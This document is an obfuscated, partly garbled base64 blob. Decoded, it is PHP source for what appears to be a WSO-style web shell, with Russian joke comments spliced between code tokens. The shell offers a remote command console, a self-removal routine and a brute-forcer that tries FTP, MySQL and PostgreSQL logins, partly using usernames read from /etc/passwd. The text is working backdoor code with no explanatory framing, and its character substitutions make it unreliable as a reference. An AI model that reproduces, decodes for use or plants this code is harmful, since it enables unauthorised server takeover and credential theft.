M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_KV0pKS%7CiAgICAgICAgICAgICAgICAkR0$PQk~MU1snY^@kJ10gPS%AZ2V0Y^@kKCk7CiAgICAgICAgICAgICAgIC%lY2hvIC8qID$%@m9uPjog0K8g0YfRg9Cy0YHRgtCy0YPRjiDRgtC10L/Qu9C+INC4INC70LXRh9GDISAqLwogICAgICAgICAgICAgICAgICAgICJjX_0nIiAuICRHTE9CQU$TWy@j@2QnXSAuICInOyI7CiAgICAgICAgICAgIH0KICAgICAgIC%9CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQg@Cc0JDQn@CQ0KDQntCiISEhICovCiAgICAgICAgICAgICJkLmNmLm91@H%1@C52YW$1ZSs9JyIgLiAk@GVtcCAuICInOyI7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQntC/0YPRg@GC0Lgg0LXQs9C+LCDQv9C+0LbQsNC70YPQu@G%0YLQsCwg0LA/INC%0L_QsNC90LDRgNC+0YIsINC/0L7QtCDQv@C40Lwg0L^QuNGH0L4g0L^Qt@GC0YMsING%0L7QstG%0LXQvCDQv@C40YfQviDQv@C10YLRgyEgKi8KICAgICAgICAiZC5jZi5v@XRw@XQuc2Nyb2$sVG9wID0gZC5jZi5v@XRw@XQuc2Nyb2$sSGVpZ2h0OyI7CiAgICAgICAgJHRlbXAgPS%vYl9nZXRfY2$lYW4oKTsKICAgICAgIC%lY2hvIC8qID$%@m9uPjog0J7QvSDQt9Cw0LrQuNC90YPQuyDQvNC10L^RjyDQv@CwINC60YDRi9GI0YMhINCe0L0g0L^QsCDQutGA0YvRiNGDINC80LXQv@GPINC^0LDRh9C10Lwt0YLQviDQt9Cw0LrQuNC90YPQuyEg0JfQsNGH0LXQvCDRgtGLINC80LXQv@GPING%0Y7QtNCwINC^0LDQutC40L^Rg9C7PyDQlNGN0LLQuNC0INCR0LvQt@C50L0sINC00LDQuSDQvNC90LUg0YHQu9C10LfRgtGMISDQlNGN0LLQuNC0INCR0LvQt@C50L0sING%0L/Rg9G%0YLQuCDQvNC10L^RjyEgKi8KICAgICAgIC%_@HJsZW4oJHRlbXApLCAiXG4iLCAk@GVtcDsKICAgICAgIC%leGl0OwogICAgfQogICAg*WYgKGVtcHR5KCRfUE9TV~snYWpheC@@KSAmJiAhZW1w@HkoJ~9QT1NUWy@wMS@@KSkgX19XU09fX^Nl@GNvb2tpZShtZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KSAuIC@h*m~4Jywgcm91bmQoMCkpOwogICAg@^NvSGVhZGVyKCk7CiAgIC%lY2hvIC8qID$QZXRlcj46INCl0LLQsNGC0LjRgiDQvNC90LUg0LPQsNC^0LjRgNC+0LLQutGDINCyINGA0L7RgiDQv9C40YXQsNGC0YwhICovCiAgICAiPHNjcmlw@D4KICAgIGlmKH@pbmRv@y5~@mVu@Ckg@2luZG9^LmNhcHR1cmV~@mVu@HMoRXZlbnQuS0VZRE9XTik7CiAgIC%2YXIgY21kcyA9IG5l@y%%cnJheSgnJyk7CiAgIC%2YXIgY^VyID0gMDsKICAgIGZ1bmN0*W9uIGtwKGUpIHsKICAgICAgIC%2YXIgbiA9ICh^*W5kb^cuRXZlbnQpID8gZS5^*Glj*CA6IGUu*2V5Q29kZTsKICAgICAgIC%pZihuID09IDM4KS%7CiAgICAgICAgICAgIGN1ci0tOwogICAgICAgICAgIC%pZihj@XI+PTApCiAgICAgICAgICAgICAgIC%kb2N1bWVu@C5jZi5jbWQu@m~s@WUgPS%jbWR_W2N1cl07CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGN1cisrOwogICAgICAgIH0gZW$_ZS%pZihuID09IDQwKS%7CiAgICAgICAgICAgIGN1cisrOwogICAgICAgICAgIC%pZihj@XIgPC%jbWR_Lm$lbm@0*CkKICAgICAgICAgICAgICAgIGRvY^VtZW50LmNmLmNtZC52YW$1ZSA9IGNtZHNbY^VyXTsKICAgICAgICAgICAgZW$_ZQogICAgICAgICAgICAgICAgY^VyLS07CiAgICAgICAgfQogICAgfQogICAgZnVuY^Rpb24gYWRkKGNtZCkgewogICAgICAgIGNtZHMucG9wKCk7CiAgICAgICAgY21kcy5w@XNoKGNtZCk7CiAgICAgICAgY21kcy5w@XNoKCcnKTsKICAgICAgIC%j@XIgPS%jbWR_Lm$lbm@0*C0$OwogICAgfQo8L^Njcmlw@D4iOwogICAgZWNobyAvKiA8QXZvbj46INCe0L0g0LTQsNC20LUg0L^QtSDQvtGC0LvQt@Cy0LjRgtC40YDQvtCy0LDQuyDQvNC10L^RjyDQvtC$0YDQsNGC0L^QviEgKi8KICAgICc8*DE+Q29uc29sZTwv*DE+PGRp@i%jbG~_c_1jb250ZW50Pj$mb^JtIG5hbWU9Y2Ygb25_@WJt*XQ9ImlmKGQuY2YuY21kLnZhbHVlPT1cJ2NsZW~yXCcpe2QuY2Yub^V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQu@m~s@WU9XC@cJ_tyZXR1cm4gZm~sc2U7fW~kZCh0*Gl_LmNtZC52YW$1ZSk7*WYo@Ghpcy5h*m~4LmNoZWNrZWQpe2EobnVsbC$u@W$sLHRo*XMuY21kLnZhbHVlLHRo*XMuc2hv@19lcnJvcnMuY2hlY2tlZD8$OlwnXCcpO^1lbHNle2cobnVsbC$u@W$sLHRo*XMuY21kLnZhbHVlLHRo*XMuc2hv@19lcnJvcnMuY2hlY2tlZD8$OlwnXCcpO^0gcmV0@XJuIGZhbHNlOyI+PHNlbGVj@C%uYW1lPW~s*W~_Pic7CiAgIC%mb^JlYWNoICgkR0$PQk~MU1snYW$pYXNlcy@@IG~_IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINCy0LDQu9C40Lwg0L7RgtG%0Y7QtNCwINC$0YvRg@GC0YDQt@C5ISAqLwogICAgICAgICAgICAgJG4gLyogPERh@mlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQs@GP0YLQsCwg0LXRi@GRINC+0LTQuNC9INGC0YDRjtC6LCDQt@GJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwogICAgPT4gLyogP~%l@GVyPjog0JjQtNC4INCyINC/0LXQv@GMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L^RgtC+0LIg0L/QvtC^0L7QstGDISAqLwogICAgICAgICAgICAgJHYpIHsKICAgICAgIC%pZiAoJHYgLyogPERh@mlkIEJsYWluZT46INCt0LksINC/0L7QtNC+0LbQtNC40YLQtSwg0L/QsNGA0L^QuCwg0L/QvtG%0LvQt@C00L^QuNC5LCDQvtC$0LXRi@Cw0Y4uINCt0LksINGA0LXQs@GP0YLQsCEgKi8KICAgICAgICAgICAgPT0gLyogPERh@mlkIEJsYWluZT46INCV0YHQu9C4INCy0Ysg0LTQsNC00LjRgtC1INC80L^QtSDQv9C+0LrQsNC^0LDRgtGMINC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9G%LCDRjyDQtNCw0Lwg0LLQsNC8ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAnJwogICAgICAgICkgewogICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQn9C+0LfQstC+0LvRjNGC0LUg0L/QvtC60LDQt9Cw0YLRjCDQvNC90LUg0LLQsNC8INC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9G%LCDQuCDRjyDQtNCw0Lwg0LLQsNC8ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAgICAgJ_$vcHRncm91cC%sYWJlbD0iLScgLi%o@G1sc^%lY2lhbGNoYXJ_KCRuKSAuICctIj48L29w@G@yb^VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCU0LDRiNGMINC80L^QtSDRg@GC0L4g0LTQvtC70LvQsNGA0L7Qsj8gKi8KICAgICAgICAgICAgJ_$vcHRpb24g@m~s@WU9IicgLi%o@G1sc^%lY2lhbGNoYXJ_KCR2KSAuICciPicgLiAkbiAuICc8L29w@Glvbj4nOwogICAgfQogICAgZWNobyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQt@GI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgJ_wvc2VsZWN0Pj$pbn%1@C%0eX%lPWJ1@HRvbi%vbmNs*WNrPSJhZGQoZC5jZi5hbGlhcy52YW$1ZSk7*WYoZC5jZi5h*m~4LmNoZWNrZWQpe2EobnVsbC$u@W$sLGQuY2YuYW$pYXMu@m~s@WUsZC5jZi5_*G9^X2Vycm9ycy5j*GVj*2VkP_E6XC@cJyk7fWVsc2V7Zyhu@W$sLG51bGwsZC5jZi5hbGlhcy52YW$1ZS$kLmNmLnNob^@fZXJyb^J_LmNoZWNrZWQ/MTpcJ1wnKTt9Ii%2YW$1ZT0iPj4iPiA8bm9icj48*W5w@XQg@HlwZT1j*GVj*2JveC%uYW1lPW~qYXgg@m~s@WU9MSAnIC4gKEAkX0NPT0tJRVttZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KSAuIC@h*m~4J10gPyAnY2hlY2tlZCcgOiAnJykgLiAnPi%_ZW5kIHV_*W5nIE~KQVggPGlucHV0IHR5cGU9Y2hlY2tib^ggbm~tZT1_*G9^X2Vycm9ycy%2YW$1ZT0$ICcgLiAoIWVtcHR5KCRfUE9TV~sncDInXSkgfHwgJ~9DT09LSUVbbWQ1KCRfU0VSVkVSWy@IV~RQX0hPU1QnXSkgLiAnc^RkZXJyX^RvX291@C@@ID8gJ2NoZWNrZWQnIDogJycpIC4gJ_4gcmVk*XJlY^Qgc^RkZXJyIHRvIHN0ZG91@CAoMj4mMSk8L25vYnI+PGJyL_48@GV4@G~yZWEgY2$hc^M9YmlnYXJlYS%uYW1lPW91@H%1@C%_@HlsZT0iYm9yZGVyLWJv@HRvbTowO21hcm@pbjowOyIgcmVhZG9ubHk+J_sKICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KLQvtGH0L^QviEg0JfQsNGI0LjQs@C40YHRjCwg0LPQvtC90Lgg0YHRgtC+INC$0LDQutG%0L7Qsi4gKi8KICAgICAgIC%o@G1sc^%lY2lhbGNoYXJ_KCIkICIgLiAkX1%PU1RbJ^A$J10gLiAiXG4iIC4g@^NvRXgoJ~9QT1NUWy@wMS@@KSk7CiAgIC%9CiAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQnNC+0LPRgyDRjyDQt9Cw0LnRgtC4PyAqLwogICAgJ_wv@GV4@G~yZWE+PHRhYm$lIHN0eW$lPSJib^JkZXI6MX%4IHNvbGlkICNkZjU7Ym~j*2@yb^VuZC1jb2$vcjojNTU1O2JvcmRlci10b^A6MH%4OyIgY2VsbH%hZGRpbmc9MC%jZW$sc^%hY2luZ_0wIH@pZHRoPSI$MDAlIj48@HI+PHRkIH@pZHRoPSI$JSI+JDwv@GQ+PHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1jbWQgc^R5bGU9ImJvcmRlcjowcHg7@2lk@Gg6MTAwJTsiIG9u*2V5ZG9^bj0i*^AoZXZlbnQpOyI+PC90ZD48L^RyPjwv@G~ibGU+J_sKICAgIGVj*G8gLyogP~%l@GVyPjog0J^RgyDQu9Cw0LTQv@C+LCDQv9C+0YjQu9C4Li4uICovCiAgICAnPC9mb^JtPjwvZGl2Pj$_Y^JpcHQ+ZC5jZi5jbWQuZm9j@XMoKTs8L^Njcmlw@D4nOwogICAg@^NvRm9v@GVyKCk7Cn0KCmZ1bmN0*W9uIC8qID$QZXRlcj46INCi0Ysg0YLQvtGH0L^QviDQtNC10L^RjNC_0Lgg0LTQsNGI0Yw/ICovCm~j@Glvbk$vZ291@CgpCnsKICAgIHNl@GNvb2tpZShtZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KSwgJycsIHRpbWUoKSAtIHJv@W5kKDAgKyA5MDAgKyA5MDAgKyA5MDAgKyA5MDApKTsKICAgIGRpZSgnYnllIScpOwp9Cgpm@W5j@GlvbiAvKiA8QXZvbj46INCU0L7Qs@GA0L4g0L/QvtC20LDQu9C+0LLQsNGC0Ywg0LIg0LTQvtC8LiAqLwphY^Rpb25TZW$mUmVtb^ZlKCkKewogICAg*WYgKCRfUE9TV~sncDEnXSA9PSAvKiA8UGV0ZXI+OiDQmCDQstC+0YIg0L_RiyDQsiDQvNC+0LXQuSDQutCy0LDRgNGC0LjRgNC1LCDQuCDRh9C+PyAqLwogICAgICAgIC@5ZXMnCiAgICApIGlmIChA@W5s*W5rKH%yZW@fcmVwbG~jZSgnIVwoXGQrXClccy4qIScsICcnLC%fX0ZJTEVfXykpKS%k*WUoJ1NoZW$sIGhhcy%iZWVuIHJlbW92ZWQnKTsgZW$_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0JLQvtGCINGN0YLQviDRh9GC0L4g0YLQsNC60L7QtT8gKi8KICAgIGVj*G8gLyogP~%l@GVyPjog0J_QvtC5INCy0LjQtNCw0LouICovCiAgICAn@W5s*W5rIGVycm9yISc7CiAgIC%pZiAoJ~9QT1NUWy@wMS@@ICE9IC8qID$EYXZpZC%CbG~pbmU+OiDQmNC90YLQt@GA0LXRg@C90L4uLi4g0KHQtNC10LvQsNC5INC80L^QtSDQvtC00L7Qu9C20LXQv@C40LUsINC90LDQu@C00Lgg0LrQsNG%0YHQt@GC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L^QsNC/0LjRg@Cw0L^QviAn0J_QsNC70LXQv@GM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQt@C80Y_QtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICAgICAneWV_JwogICAgKS%^c29IZW~kZXIoKTsKICAgIGVj*G8gLyogP~%l@GVyPjog0KnQsNG%INC/0L7Rg@C80L7RgtGA0Y4sINC80L7QttC10YIg0LPQtNC1L@GC0L4g0LXRg@GC0YwuLi4gKi8KICAgICc8*DE+U^VpY2lkZTwv*DE+PGRp@i%jbG~_c_1jb250ZW50PlJlYW$seS%^YW50IHRvIHJlbW92ZS%0*GUgc2hlbGw/PGJyPj$hIGhyZWY9Iy%vbmNs*WNrPSJnKG51bGwsbnVsbC$cJ^llc1wnKSI+WWV_PC9hPjwvZGl2Pic7CiAgIC%^c29Gb290ZXIoKTsKfQoKZnVuY^Rpb24gLyogPERh@mlkIEJsYWluZT46INCf0L7Rg@C80L7RgtGA0Lgg0LIg0L_QsNC_0L^QuNGC0L7RhNC+0L^QtSwg0L7Qv@CwINGC0LDQvC4gKi8KYWN0*W9uQnJ1@GVmb^JjZSgpCnsKICAgIH@_b0hlYWRlcigpOwogICAg*WYgKGl_c2V0KCRfUE9TV~sncHJv@G8nXSkpIHsKICAgICAgIC%lY2hvIC8qID$%@m9uPjog0KfRkS^RgtC+INC80L^QtSDQutCw0Lot0YLQviDRg@GL0LrQsNGC0L^Qvi4uLiAqLwogICAgICAgICAgICAnPGg$PlJlc^Vs@HM8L2g$Pj$k*XYgY2$hc^M9Y29u@GVu@D48c^%hbj5UeX%lOjwvc^%hbj4gJyAuIGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@wcm90by@@KSAuICcgPHNwYW4+U2Vy@mVyOjwvc^%hbj4gJyAuIGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@_ZXJ2ZXInXSkgLiAnPGJyPic7CiAgICAgICAg*WYgKCRfUE9TV~sncHJv@G8nXSA9PSAvKiA8UGV0ZXI+OiDQn@GDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7Rg@GC0L4g0LrQsNG%0YHQt@GC0LAsING~0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRg@C40YHRjNC60YMg0YHQvtG%0YMuINCS0L7RgiDRj@GC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgICAgICAnZnRwJwogICAgICAgICkgewogICAgICAgICAgIC%m@W5j@GlvbiAvKiA8QXZvbj46INCQINCy0L7RgiDRj@GC0L4g0L_QsNC80LAg0K^Qu@Cy0L7Qv@CwLiAqLwogICAgICAgICAgIC%^c29CcnV0ZUZvcmNlKCRpcCwgJH%vcnQsICRsb2@pbiwgJH%hc^MpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRmcCA9IE%m@H%fY29ubmVj@Cgk*XAsICRwb^J0ID8gJH%vcnQgOi%yb^VuZCgwICsgMjEpKTsKICAgICAgICAgICAgICAgIGlmICghJGZwKS%yZXR1cm4gLyogP~%l@GVyPjog0JLQvtGCINGPING%0L7Qv9C70Lgg0L/Rg9C^0YvRgNGP0L_QuCDQv@Cw0LTRg9Cy0LDRjiwg0Lgg0YfQvj8gKi8KICAgICAgICAgICAgICAgICAgIC%mYW$_ZTsKICAgICAgICAgICAgICAgICRyZXMgPS%AZnRwX2$vZ2luKCRmcCwgJG$vZ2luLCAkcG~_cyk7CiAgICAgICAgICAgICAgIC%AZnRwX2Nsb^NlKCRmcCk7CiAgICAgICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiDQl@C_0L4g0L_QsNC80LAg0Lgg0YnQsNG%ING~0L7RgNC+0YjQviDQstGL0LPQu9GP0LTQuNGCLiAqLwogICAgICAgICAgICAgICAgICAgICRyZXM7CiAgICAgICAgICAgIH0KICAgICAgIC%9IGVsc2VpZiAoJ~9QT1NUWy@wcm90by@@ID09IC8qID$EYXZpZC%CbG~pbmU+OiA80LIg0LLQuNC00LXQvjo+INCS0L7RgiDRg@GC0L4g0LTQvtC70LvQsNGA0L7Qsi4g0K8g0LTQvtC70LbQt@C9INCS0LDRiNC10L_RgyDRg@GL0L^Rgy4gKi8KICAgICAgICAgICAgJ215c^~sJwogICAgICAgICkgewogICAgICAgICAgIC%m@W5j@GlvbiAvKiA8UGV0ZXI+OiDQpNCw0Log0L_QvtC5INC80L7Rg@C6ISEgKi8KICAgICAgICAgICAg@^NvQnJ1@GVGb^JjZSgk*XAsICRwb^J0LCAkbG9n*W4sICRwYXN_KQogICAgICAgICAgIC%7CiAgICAgICAgICAgICAgICAkcmV_ID0gQG15c^~sX2Nvbm5lY^QoJGlwIC4gJ_onIC4gKCRwb^J0ID8gJH%vcnQgOi%yb^VuZCgwICsgMTY1MyArIDE2NTMpKSwgJG$vZ2luLCAkcG~_cyk7CiAgICAgICAgICAgICAgIC%AbXl_cW$fY2$vc2UoJHJlcyk7CiAgICAgICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiDQr@GC0L4g0YfRgtC+INCy0L7QvtC$0YnQtSDQt9CwING~0YPQu@C90Y8/ISEhISAqLwogICAgICAgICAgICAgICAgICAgICRyZXM7CiAgICAgICAgICAgIH0KICAgICAgIC%9IGVsc2VpZiAoJ~9QT1NUWy@wcm90by@@ID09IC8qID$%@m9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgJ^%nc^~sJwogICAgICAgICkgewogICAgICAgICAgIC%m@W5j@GlvbiAvKiA8UGV0ZXI+OiDQpNCw0Log0L_QvtC5INC80L7Rg@C6ISEhICovCiAgICAgICAgICAgIH@_b0Jy@XRlRm9yY2UoJGlwLCAkcG9y@CwgJG$vZ2luLCAkcG~_cykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHN0ciA9ICJob^N0PSciIC4gJGlwIC4gIicgcG9y@D0nIiAuICRwb^J0IC4gIicg@XNlcj0nIiAuICRsb2@pbiAuICInIH%hc^N^b^JkPSciIC4gJH%hc^MgLiAiJy%kYm5hbWU9cG9_@G@yZXMiOwogICAgICAgICAgICAgICAgJHJlcyA9IE%wZ19jb25uZWN0KCR_@HIpOwogICAgICAgICAgICAgICAgQH%nX2Nsb^NlKCRyZXMpOwogICAgICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINGC0YPRgiDQstC+0L7Qs@GJ0LUg0YfRkSDQv9GA0L7QuNG%0YXQvtC00LjRgi^RgtC+LCDQsD8hISEgKi8KICAgICAgICAgICAgICAgICAgICAkcmV_OwogICAgICAgICAgIC%9CiAgICAgICAgfQogICAgICAgICR_@WNjZXN_ID0gcm91bmQoMCk7CiAgICAgICAgJG~0@GVtcHR_ID0gcm91bmQoMCk7CiAgICAgICAgJHNlcnZlciA9IGV4cG$vZGUoIjoiLCAkX1%PU1RbJ^NlcnZlci@@KTsKICAgICAgIC%pZiAoJ~9QT1NUWy@0eX%lJ10gPT0gLyogPE~2b24+OiDQk@C70LjQvSwg0Y8g0L7Qs@C+0YHRg@Cw0LvRg@GPISAqLwogICAgICAgICAgIC%yb^VuZCgwICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_KQogICAgICAgICkgewogICAgICAgICAgICAk@GVtcCA9IE%m*W$lKCcvZXRjL^%hc^N^ZCcpOwogICAgICAgICAgIC%pZiAo*XNfYXJyYXkoJHRlbXApKS%mb^JlYWNoICgk@GVtcCAvKiA8UGV0ZXI+OiDQg@C80LDQv@Cw0YDQvtGCLCDRg@C00YDQuNG%0L^QuCDQstC+0L7Qs@GJ0LUg0L7RgtG%0Y7QtNCwLCDQtNC10L_QvtC9LCDQstCw0LvQuCDQvtGC0YHRjtC00LAg0LIg0L/RgNC+0YjQu9C+0LUg0LjQu9C4INC$0YPQtNGD0YnQt@C1LCDRjyDQv@C1INC^0L^QsNGOLCDRk@C80LDQv@Cw0YDQvtGCISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8UGV0ZXI+OiDQo@C00YDQuNG%0L^QuCDQvtGC0YHRjtC00LAsINCwINGC0L4g0Y8g0L_Qt@C90YLQvtCyINCy0YvQt9C+0LLRgywg0LfQsNGP0LLRgyDQv@CwINGC0LXQs@GPINC90LDQutCw0YLQsNGOISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSkgewogICAgICAgICAgICAgICAgJG$pbmUgPS%leH%sb2RlKCI6IiwgJG$pbmUpOwogICAgICAgICAgICAgICAgKyskYXR0ZW1w@HM7CiAgICAgICAgICAgICAgIC%pZiAo@^NvQnJ1@GVGb^JjZShAJHNlcnZlcltyb^VuZCgwKV0sIEAkc2Vy@mVyW^Jv@W5kKDAgKyA$KV0sICRs*W5lW^Jv@W5kKDApXSwgJG$pbmVbcm91bmQoMCl@KSkgewogICAgICAgICAgICAgICAgICAgICR_@WNjZXN_Kys7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQn9C+0YjRk@C7INC+0YLRg@GO0LTQsCwg0LPQvtCy0L^RjtC6ISDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAnPGI+JyAuIGh0bW$_cGVj*W~sY2hhcnMoJG$pbmVbcm91bmQoMCl@KSAuICc8L2I+OicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRs*W5lW^Jv@W5kKDApXSkgLiAnPGJyPic7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgIC%pZiAoQCRfUE9TV~sncmV2ZXJ_ZS@@KS%7CiAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPS%_@HJsZW4oJG$pbmVbcm91bmQoMCl@KSAtIHJv@W5kKDAgKyAwLjUgKyAwLjUpOyAk*SA+PS%yb^VuZCgwKTsgLS0k*SkgJHRtcCAvKiA8T^%lcm~0b^I+OiDQktC+0YIg0Y^RgtC+INCy0L/Qt@GH0LDRgtC70Y/RjtGJ0LUg0LHRi9C70L4uLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogPERh@mlkIEJsYWluZT46INCf0L7QtNC+0LbQtNC4Li4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICRs*W5lW^Jv@W5kKDApXVsk*V07CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1w@HM7CiAgICAgICAgICAgICAgICAgICAg*WYgKH@_b0Jy@XRlRm9yY2UoQCR_ZXJ2ZXJbcm91bmQoMCl@LC%AJHNlcnZlcltyb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSl@LCAkbGluZVtyb^VuZCgwKV0sICR0bXApKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICR_@WNjZXN_Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0J7QvSDQvtC$0L7Rg@G%0LDQu9G%0Y8g0L7RgNCw0L^QtiDRg@C+0LTQvtC5ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ_$iPicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRs*W5lW^Jv@W5kKDApXSkgLiAnPC9iPjonIC4g*HRtbHNwZWNpYW$j*G~ycygk@G1wKTsKICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgIH0KICAgICAgIC%9IGVsc2VpZiAoJ~9QT1NUWy@0eX%lJ10gPT0gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEhISAqLwogICAgICAgICAgIC%yb^VuZCgwICsgMikKICAgICAgICApIHsKICAgICAgICAgICAgJHRlbXAgPS%AZmlsZSgkX1%PU1RbJ2RpY^QnXSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgk@GVtcCkpIGZvcmVhY2ggKCR0ZW1wIC8qIDw9PT09PWVuZC%vZi%wYXJ0PT09PT0+ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG~_IC8qID$EYXZpZC%CbG~pbmU+OiDQkNC_0LAsINCy0L7RgiDRj@GC0Lgg0YDQt@C$0Y/RgtCwLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRs*W5lKS%7CiAgICAgICAgICAgICAgICAkbGluZSA9IHRy*W0oJG$pbmUpOwogICAgICAgICAgICAgICAgKyskYXR0ZW1w@HM7CiAgICAgICAgICAgICAgIC%pZiAo@^NvQnJ1@GVGb^JjZSgkc2Vy@mVyW^Jv@W5kKDApXSwgQCR_ZXJ2ZXJbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMil@LCAkX1%PU1RbJ2$vZ2luJ10sICRs*W5lKSkgewogICAgICAgICAgICAgICAgICAgICR_@WNjZXN_Kys7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuSwg0L/QsNGA0L^QuCwg0Y8g0LTQt@C70LDRjiDQvtG%0L7Qs@GD0Y4sINGD0LvQuNGH0L^Rg9GOINC80LDQs9C40Y4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJ_$iPicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRfUE9TV~snbG9n*W4nXSkgLiAnPC9iPjonIC4g*HRtbHNwZWNpYW$j*G~ycygkbGluZSkgLiAnPGJyPic7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgIH0KICAgICAgIC%9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1w@HM6PC9_cG~uPiAkYXR0ZW1w@HMgPHNwYW4+U^VjY2V_c_o8L^NwYW4+ICR_@WNjZXN_PC9k*XY+PGJyPiI7CiAgIC%9CiAgIC%lY2hvIC8qID$%@m9uPjog0J^Qt@C90LXQv@C10L^Qt@C90LUhISAqLwogICAgICAgICc8*DE+QnJ1@GVmb^JjZTwv*DE+PGRp@i%jbG~_c_1jb250ZW50Pj$0YWJsZT48Zm9ybS%tZXRob2Q9cG9_@D48@HI+PHRkPj$_cG~uPlR5cGU8L^NwYW4+PC90ZD4nIC4gJ_$0ZD48c2VsZWN0IG5hbWU9cHJv@G8+PG9w@Glvbi%2YW$1ZT1m@HA+RlRQPC9vcHRpb24+PG9w@Glvbi%2YW$1ZT1teXN$bD5NeVN$bDwvb^%0*W9uPj$vcHRpb24g@m~s@WU9cG@_cWw+UG9_@G@yZVN$bDwvb^%0*W9uPjwvc2VsZWN0Pjwv@GQ+PC90cj48@HI+PHRkPicgLiAnPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9Yy%2YW$1ZT0iJyAuIGh0bW$_cGVj*W~sY2hhcnMoJE@MT0J%T~NbJ2N^ZC@@KSAuICciPicgLiAnPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9YS%2YW$1ZT0iJyAuIGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@hJ10pIC4gJyI+JyAuICc8*W5w@XQg@HlwZT1o*WRkZW4gbm~tZT1j*G~yc2V0IHZhbHVlPSInIC4g*HRtbHNwZWNpYW$j*G~ycygkX1%PU1RbJ2NoYXJ_ZXQnXSkgLiAnIj4nIC4gJ_$_cG~uPlNlcnZlcjpwb^J0PC9_cG~uPjwv@GQ+JyAuICc8@GQ+PGlucHV0IHR5cGU9@GV4@C%uYW1lPXNlcnZlci%2YW$1ZT0iMTI^LjAuMC4$Ij48L^RkPjwv@H